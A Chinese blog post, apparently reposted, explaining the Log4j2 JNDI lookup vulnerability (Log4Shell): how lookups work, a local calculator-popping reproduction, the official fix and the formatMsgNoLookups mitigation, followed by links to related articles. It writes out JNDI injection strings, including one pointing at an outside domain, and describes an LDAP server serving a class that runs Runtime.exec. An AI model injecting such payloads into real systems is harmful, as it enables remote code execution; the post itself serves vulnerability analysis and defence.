2021-12-10一个值得所有研发纪念的日子。

一波操作猛如虎,下班到了凌晨2点25。

基础组件的重要性,在此次的Log4j2漏洞上反应的淋漓尽致,各种“核弹级漏洞”、“超高危” 等词汇看的我瑟瑟发抖,那么问题真的有那么严重吗?这个让大家普遍加班搞到凌晨的漏洞,到底是什么问题?

01

漏洞解析、复现

Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象

而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象

看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名称实例化为对应的插件对象,然后与你所配置的Logger进行关联。

Console,RollingFile 等则是我们一般情况下常用的插件,而此次出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup 呐,就是下面这个

此时则会有一个疑问,这个插件?没见过?不熟悉?使用频率不高吧?

按照道理来说的确是这样,一个使用频率不高的插件,就算有漏洞,也很难会去触发到。

但偏偏这个插件被人为使用的频率较低,但代码触发到的频率很高,高到你代码中每次触发info,warn,error 等日志写入的时候,都会去校验一下是否执行Lookup的逻辑。也就是基于此,这样一个小的插件由于和日志的写入逻辑有所关联,就导致了漏洞触发的可能性成倍的增加。

Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,如下所示:

error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息

同理Log4j2中还封装的有DockerLookup,KubernetesLookup等,当你要在服务中获取Docker的元数据信息时,则最终会被Log4j2框架调度执行到DockerLookup方法中,由DockerLookup来执行具体的交互并返回对应的数据。

那么此时再来去看JndiLookup则一目了然了,没错,JndiLookup只是Log4j2框架中各种Lookup的其中一个,其作用则是通过Jndi规范去获取对应的配置信息时使用。

此时我们来验证一下JndiLookup的漏洞,如下所示:

各大安全厂商在发布漏洞验证报告时的截图均是以$Jndi 打开本地计算器为例,以此表示Jndi存在严重的安全隐患,所以此处本人也是直接以此为例来进行验证。

当我启动main方法后可以发现 ${jndi:ldap://127.0.0.1:1389/badClassName} 这段代码最终打开了本地的一个计算器程序,漏洞验证成功。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

实际上想要本地复现这个漏洞是并不简单的,所以为了后续可以更快速的理解,我们此处则需要重复几个概念:

1、jndi 全名 Java Naming and Directory Interface,是用于目录服务的Java API,它允许Java客户端通过名称发现查找数据和资源(以Java对象的形式)。

2、触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用JndiLookup传入值为 ldap://ip:port 。

3、jndi是目录接口,所以JndiLookup中则是各种目录接口的实现集合,如下图所示可以发现JndiLookup中可直接调用的具体实现类有很多,其中就包括LdapURLContext

OK,了解了上述的概念,我们就可以继续开始了。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

首先我们当前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是让Log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议,以此达到注入的效果。

那么在此之前,我们需要做的第一件事是先搭建一个ldap协议的服务端,只有这样才能做到Log4j2触发ldap协议时,可以成功访问你当前本地的1389端口,核心代码如下所示:

首先定义一个ldap协议的Server

第二步通过asm框架字节码的方式生成一个class类,class类主要内容便是执行Runtime.getRuntime.exec("calc.exe") 也就是该class类一旦被执行则会立即调用本地的计算器服务。

第三步则是ldap协议被访问后,则将当前的class类作为byte流输出为对应的响应结果

此时我们的服务端则搭建完成。

而对于客户端而言,则更加简单,仅需要引用对应的log4j-core的漏洞版即可,当前所引入的为2.14.1的版本。

启动测试,结果则如下所示:

此时身为好奇Boy的你可能仍然会有疑问:

1、jndi加载后的class字节流是在何时被实例化为对象的。

2、既然如此,Log4j2官方又是如何修复的?

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

02

疑问、复盘

针对jndi的问题,先做下相关说明:首先jndi本身并不是Log4j2框架的产物,而是Jdk自身的功能,对应的包路径为com.sun.jndi 。

jndi 在jdk中的定位是目录服务应用程序接口,目录服务可以想象为一个树,而java中常用的目录服务协议则是rmi和ldap,ldap本身就是一套常用的目录访问协议,一般我们windows常用的AD域也都是基于ldap协议的,而jndi的作用则是通过目录协议如ldap根据对应的目录名,去查找对应服务端的对象,并把该对象下载到客户端中来。

所以针对上述jndi:ldap的漏洞,其实这本身就不是问题,因为这本身就是jndi的功能,如果你的目录访问协议是可控的情况下,那么使用jndi则是安全的。

而Log4j2框架中JndiLookup使用到了Jndi的功能,但是对应的传参则较为随意,这就是一个很大的问题,如通过http的方式给业务服务传参数为:${jndi:ldap://yuming.com/service} ,而业务方服务又恰巧把该参数打到了日志中,这就会导致很大的漏洞,因为谁也无法保证注入的yuming.com/service返回的对象是什么,相当于是一个很大的后门,注入者可以通过此漏洞任意执行所有代码。

闭环了朋友们,文章最初所提到的这个漏洞真的有这么严重吗?看到这里想必也已经很清楚了,各种媒体所宣称的"核弹级",也是真的没什么毛病。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

此时所引出的第二个问题则是:Log4j2框架是如何修复的?

既然jndi的问题无法解决,那作为日志框架的“我”自然要从自身寻找问题,所以Log4j2框架本身的解决方案则是设置域名白名单,类白名单等操作,如果jndi:ldap对应的访问路径并非127.0.0.1同网段的服务等,则不会执行lookup() ,以此避免访问到外部的恶意服务上去。

Log4j2的代码修复记录如下:

老版本中关于JndiManager的代码是这样的,直接调用context.lookup(),context为jdk自身的jndi类

而修复后代码是这样的:在调用context.lookup()之前,做了较多的拦截操作,判断了对应的白名单类,以及host等操作

对于各公司内解决方案,实际上不见得一定要通过短时间内升级jar包的方式来解决,因为java体系内的各种log包的依赖,由于各种历史原因导致当前也是有点较为繁琐,如果想要短时间内更加无痛解决的情况下,直接在已有的项目下增加log4j2.formatMsgNoLookups=true,也可以完美解决该问题。

对应代码如下:配置该参数为true以后,会在对应的日志输出进行format格式化时,不再解析你当前日志中的 ${} 的代码块,造成的影响面则是服务代码中所有的 ${} 均不会再解析Lookup

当然,如果可以高效的推动各业务方升级则是最好的。

如果大家还有其他的奇门技巧来解决该问题,欢迎留言评论交流下你的解决方案。

 对于想要学习并验证该漏洞的小伙伴,则需要麻烦你扫码以下公众号,并发送消息“ldap” 便可直接获取ldap协议服务端源代码。(卑微打工人,在线引流恰饭  /哭 ,感谢大家对原创的支持! )

本文已进行版权登记,版权归属陈咬金,抄袭必究。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

Log4j2 Jndi 漏洞原理解析、复盘的更多相关文章

  1. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  2. 爱加密Android APk 原理解析

    转载请标明出处:http://blog.csdn.net/u011546655/article/details/45921025 爱加密Android APK加壳原理解析 一.什么是加壳? 加壳是在二 ...

  3. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  4. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  5. Android 上SuperUser获取ROOT权限原理解析

    Android 上SuperUser获取ROOT权限原理解析 一. 概述 本文介绍了android中获取root权限的方法以及原理,让大家对android 玩家中常说的“越狱”有一个更深层次的认识. ...

  6. 微软 IIS HTTP.sys漏洞原理学习以及POC

    零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket. ...

  7. (转)Apache和Nginx运行原理解析

    Apache和Nginx运行原理解析 原文:https://www.server110.com/nginx/201402/6543.html Web服务器 Web服务器也称为WWW(WORLD WID ...

  8. Spring IOC设计原理解析:本文乃学习整理参考而来

    Spring IOC设计原理解析:本文乃学习整理参考而来 一. 什么是Ioc/DI? 二. Spring IOC体系结构 (1) BeanFactory (2) BeanDefinition 三. I ...

  9. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

随机推荐

  1. 大爽Python入门教程 3-5 习题

    大爽Python入门公开课教案 点击查看教程总目录 1 求平方和 使用循环,计算列表所有项的平方和,并输出这个和. 列表示例 lst = [8, 5, 7, 12, 19, 21, 10, 3, 2, ...

  2. 菜鸡的Java笔记 数据表与简单java类映射

    利用实际的数据表实现表与类的操作转换        简单java类是整个项目开发中的灵魂所在,它有自己严格的开发标准,而最为重要的是它需要于数据表是完全对应的        不过考虑到现在没有接触到过 ...

  3. [loj3523]分糖果

    做法1 将问题离线,并在左端点和右端点打上差分,之后即可以看作求$f(C,[a_{1},a_{2},...,a_{n}])$,其表示以$C$为上限(0为下限),从0开始不断加上$a_{i}$(可以为负 ...

  4. [bzoj5418]屠龙勇士

    很显然,每一步所选的剑和怪物都是确定的,可以先求出来(不用写平衡树,直接用multiset即可,注意删除要删指针,以下假设第i次攻击用ki攻击的剑,攻击第i只怪)  首先判断无解,即如果存在ai使得g ...

  5. [源码解析] PyTorch 分布式(9) ----- DistributedDataParallel 之初始化

    [源码解析] PyTorch 分布式(9) ----- DistributedDataParallel 之初始化 目录 [源码解析] PyTorch 分布式(9) ----- DistributedD ...

  6. CreateProcess error=206, 文件名或扩展名太长。

    改:

  7. System.Web.Optimization

    项目中引用了 System.Web.Optimization 这个程序集,缺少程序集会报错: 命名空间"System.Web"中不存在类型或命名空间名"Optimizat ...

  8. CSP2020 自爆记

    Day -1 - 2020.11.5 发现自己 dp 学得很烂--刷了几道 dp 找找感觉. 晚上死活睡不着,觉得要爆炸了. Day 0 - 2020.11.6 白天在学校觉得人飘了. 傍晚回来拿了准 ...

  9. 洛谷 P5469 - [NOI2019] 机器人(区间 dp+拉格朗日插值)

    洛谷题面传送门 神仙题,放在 D1T2 可能略难了一点( 首先显然对于 P 型机器人而言,将它放在 \(i\) 之后它会走到左边第一个严格 \(>a_i\) 的位置,对于 Q 型机器人而言,将它 ...

  10. Golang知识点整理

    1. Golang 1.1 golang知识点大纲 1.2 指针 1.3 Golang使用validator进行数据校验及自定义翻译器 1.4 Golang GC(垃圾回收机制) 2.框架 2.1 G ...